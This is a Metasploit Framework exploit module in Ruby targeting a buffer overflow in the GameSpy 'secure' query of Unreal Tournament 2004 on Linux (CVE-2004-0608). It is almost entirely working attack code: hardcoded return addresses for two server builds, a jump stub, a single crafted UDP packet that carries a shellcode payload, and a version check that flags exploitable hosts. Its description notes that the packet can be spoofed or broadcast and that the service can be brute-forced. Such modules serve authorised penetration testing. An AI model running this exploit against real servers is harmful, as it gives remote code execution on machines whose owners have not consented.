##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
'Description' => %q{
This is an exploit for the GameSpy secure query in
the Unreal Engine.
This exploit only requires one UDP packet, which can
be both spoofed and sent to a broadcast address.
Usually, the GameSpy query server listens on port 7787,
but you can manually specify the port as well.
The RunServer.sh script will automatically restart the
server upon a crash, giving us the ability to
bruteforce the service and exploit it multiple
times.
},
'Author' => [ 'onetwo' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0608'],
[ 'OSVDB', '7217'],
[ 'BID', '10570'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x5c\x00",
},
'Platform' => 'linux',
'Targets' =>
[
['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
],
'DisclosureDate' => 'Jun 18 2004'))
register_options(
[
Opt::RPORT(7787)
], self.class)
end
def exploit
connect_udp
buf = make_nops(1024)
buf[24, 4] = [target['Rets'][1]].pack('V')
buf[44, 4] = [target['Rets'][0]].pack('V')
buf[56, 4] = [target['Rets'][1]].pack('V')
buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
buf[0, 8] = "\\secure\\"
buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
udp_sock.put(buf)
handler
disconnect_udp
end
def ut_version
connect_udp
udp_sock.put("\\basic\\")
res = udp_sock.recvfrom(8192)
disconnect_udp
if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
return m[1]
end
return
end
def check
vers = ut_version
if (not vers)
print_status("Could not detect Unreal Tournament Server")
return
end
print_status("Detected Unreal Tournament Server Version: #{vers}")
if (vers =~ /^(3120|3186|3204)$/)
print_status("This system appears to be exploitable")
return Exploit::CheckCode::Appears
end
if (vers =~ /^(2...)$/)
print_status("This system appears to be running UT2003")
return Exploit::CheckCode::Detected
end
print_status("This system appears to be patched")
return Exploit::CheckCode::Safe
end
end